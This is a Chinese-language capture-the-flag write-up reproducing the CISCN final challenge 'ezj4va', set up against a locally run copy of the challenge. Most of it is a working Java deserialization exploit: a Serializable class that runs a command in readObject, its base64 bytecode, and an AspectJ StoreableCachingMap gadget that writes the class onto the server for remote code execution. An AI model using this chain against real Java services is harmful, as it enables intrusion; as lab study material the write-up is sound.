ciscn国赛决赛 ezj4va复现
前言
国赛决赛上有一道ezj4va的题目,当时是0解。最近学习了java,所以来复现一下
环境搭建
直接拿题目当时给的源码搭建。有好哥哥以及帮我们传了一份源码到GitHub
https://github.com/liey1/timu/blob/main/ciscn%20ezj4va.zip
拿到源码后起一个IDEA,当作题目环境
有个Main文件,启动这个文件。题目环境就搭好了。
访问http://127.0.0.1:8081/
即可
原理这几篇文章分析的挺好,我就不分析了
https://forum.butian.net/share/337
http://w4nder.top/?p=497#ciscn2021_final_ezj4va
攻击
在文件夹下写Calc.java
package ciscn.fina1.ezj4va;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Calc implements Serializable {
public Calc() {
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Serializable readObject");
Runtime.getRuntime().exec("calc");
}
}
编译一下。获得Calc.class
我们将Calc.class编译。然后拿去base64一下
得到了字节码的base64。写入文件。
最终exp
package ciscn.fina1.ezj4va;
import org.aspectj.weaver.tools.cache.SimpleCache;
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String getskus(){
try {
Cart cart = new Cart();
HashMap hashMap = new HashMap<>();
String str = "yv66vgAAADQANQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BABdTZXJpYWxpemFibGUgcmVhZE9iamVjdAoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAFgAXBwAYDAAZABoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsIABwBAARjYWxjCgAWAB4MAB8AIAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsHACIBABdjaXNjbi9maW5hMS9lemo0dmEvQ2FsYwcAJAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMY2lzY24vZmluYTEvZXpqNHZhL0NhbGM7AQAKcmVhZE9iamVjdAEAHihMamF2YS9pby9PYmplY3RJbnB1dFN0cmVhbTspVgEAA29pcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEACkV4Y2VwdGlvbnMHADABABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAyAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhACEAIQACAAEAIwAAAAIAAQAFAAYAAQAlAAAAMwABAAEAAAAFKrcAAbEAAAACACYAAAAKAAIAAAAIAAQACQAnAAAADAABAAAABQAoACkAAAACACoAKwACACUAAABOAAIAAgAAABKyAAcSDbYAD7gAFRIbtgAdV7EAAAACACYAAAAOAAMAAAAMAAgADQARAA4AJwAAABYAAgAAABIAKAApAAAAAAASACwALQABAC4AAAAGAAIALwAxAAEAMwAAAAIANA==";
byte[] code = Base64.getDecoder().decode(str);
hashMap.put("Calc.class", code);
setFieldValue(cart,"skuDescribe",hashMap);
return Serializer.serialize(cart);
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
public static String getOldCart(){
try{
Cart cart = new Cart();
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructors()[0];
//获得org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap类的构造方法
constructor.setAccessible(true);
Object o = constructor.newInstance("./target/classes/ciscn/fina1/ezj4va", 1);
setFieldValue(cart,"skuDescribe",o);
return Serializer.serialize(cart);
}catch (Exception e){
e.printStackTrace();
}
return "";
}
public static String getCalc(){
try {
Calc calc = new Calc();
return Serializer.serialize(calc);
}catch (Exception e){
e.printStackTrace();
}
return "";
}
public static void main(String[] args){
System.out.println(getskus());
System.out.println(getOldCart());
System.out.println(getCalc());
}
}
记录好payload后我们删除exp.java和Calc.java。换原一个原本的题目环境。然后启动
在body处传入skus,注意要url编码。在value处传入cart。
可以看到成功进入writeToPath函数并写文件。
然后成功触发RCE